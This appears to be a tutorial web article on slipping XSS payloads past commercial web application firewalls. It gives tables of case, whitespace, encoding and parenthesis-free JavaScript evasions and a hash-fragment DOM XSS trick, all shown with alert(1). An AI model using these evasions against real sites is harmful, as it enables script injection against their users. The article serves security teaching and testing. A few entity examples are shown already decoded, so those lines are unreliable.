Quick answer
Commercial WAFs (Cloudflare, Akamai, AWS WAF, Imperva) block XSS with signature-based rules: <script, onerror=, alert(, javascript:. Bypass goes through parser differential (WAF parses X, browser parses Y), asymmetric encoding (HTML entities decoded post-WAF), case and whitespace mutations and modern JS constructs (template literals, optional chaining, getters). The golden rule: the WAF looks at bytes, the browser executes semantics.
The principle — parser differential
WAF and browser speak different languages. The WAF normalizes the request before applying rules. The browser parses after the server's normalization. If the two pipelines differ in one position, there's a gap.
| Payload | WAF sees it as | Browser executes |
|---|---|---|
<script>alert(1)</script> | <script> tag (blocks) | Same |
<scrIpt>alert(1)</scrIpt> | A legitimate tag if case-sensitive | Executes (HTML is case-insensitive) |
<script/x>alert(1)</script> | Possible bypass of a regex expecting <script> | Executes |
<svg/onload=alert(1)> | The WAF may not consider / a separator | The browser accepts it as an attribute |
<img src=x onerror=alert(1)> | Blocked | Blocked |
<img src=x onerror="alert(1)"> | Idem | Idem |
<img src=x onerror=alert\x281\x29> | Hex in bytes confuses the regex | The browser executes alert(1) |
Asymmetric encoding — HTML entities
The browser decodes HTML entities (a → a) inside the DOM, not in URL params. If the WAF inspects the raw URL but the server reflects the value in an HTML attribute context, the entities pass:
<a href="USER_INPUT">
USER_INPUT = javascript:alert(1)
The WAF looking for javascript: doesn't see it (javascript:). The browser, on rendering, decodes → javascript:alert(1) executes.
Encoding variants
| Encoding | Example | Context where it decodes |
|---|---|---|
| HTML entity decimal | javascript: | Attribute value (href, src) |
| HTML entity hex | javascript: | Attribute value |
| HTML entity named | 
 (CR) | Some old contexts |
| URL encode single | %3Cscript%3E | URL params decoded by the server |
| URL encode double | %253Cscript%253E | If the server decodes twice |
| Unicode JS escape | <script> | Inside a JS string |
| Hex JS escape | \x3cscript\x3e | Idem |
| UTF-7 | +ADw-script+AD4- | XML/IE historical, almost dead |
Double decoding trap
Apps that decode URL params twice (Java Spring, some misconfigured Node middlewares):
?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
↑ WAF decoda una vez → "%3Cimg%20src%3Dx..." (sin tags ejecutables)
↑ Server decoda otra vez → "<img src=x onerror=alert(1)>"
The WAF sees nothing dangerous. The server injects an executable tag.
Case and whitespace mutations
<sCRipT>alert(1)</sCRipT> <!-- Case insensitive en HTML -->
<script\t>alert(1)</script> <!-- Tab como whitespace -->
<script\r\n>alert(1)</script> <!-- CRLF -->
<script\x00>alert(1)</script> <!-- NUL byte (algunos parsers) -->
<script/random=ignored>alert(1)</script> <!-- Slash + atributo random -->
<script ~='@'>alert(1)</script> <!-- Whitespace + atributo char raro -->
<svg/onload=alert(1)> <!-- Slash en vez de espacio -->
<svg onload =alert(1)> <!-- Espacio antes del = -->
<svg onload = alert(1)> <!-- Tabs alrededor del = -->
<svg onload=alert(1)> <!-- Entity dentro del atributo -->
<svg/onload=alert/**/(1)> <!-- Comentario JS dentro de la call -->
<svg onload="alert`1`"> <!-- Template literal en vez de paréntesis -->
Modern JS — no parentheses or quotes
Simple WAFs block alert(, eval(, literal (. Bypass with template literals (ES6+):
alert`1` // Llama alert con tagged template
eval`alert\x281\x29` // Hex escape para los paréntesis
Function`alert\x281\x29``` // IIFE
Without a literal alert:
top["al"+"ert"](1) // String concatenation
top["\x61\x6c\x65\x72\x74"](1)
window[/al/.source + /ert/.source](1)
self[atob('YWxlcnQ=')](1) // base64 decode
Without parentheses and without template literals:
location='javascript:alert\x281\x29' // location asignación
onerror=alert;throw 1 // throw como caller
onerror=alert;throw 1 is one of the shortest and bypasses WAFs looking for alert(.
DOM-level mutations
When the target is DOM XSS (not reflected server-side), the WAF may not inspect the # fragment (it isn't sent to the server). The full payload goes in the hash:
https://target.com/page#<img src=x onerror=alert(1)>
The WAF never sees it. It only requires that the client-side JS read location.hash and put it in a sink.
Keep reading the full chain
The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.
Practice this in a lab
Cloudflare Waf Bypass
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Cloudflare WAF — payload size bypass, oversized body, plan-specific limits
Bypassing the Cloudflare WAF by exploiting body size limits per plan (Free 100kb, Pro 100kb, Business 500kb, Enterprise 1mb): oversize payload trick + chunked transfer encoding.
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.
Cloudflare WAF Bypass — oversized body, header stuffing and cache poisoning
Cloudflare's WAF has per-plan inspection limits (~8KB Free, 128KB Enterprise). Padding bypass, header stuffing >100 headers, IP origin disclosure.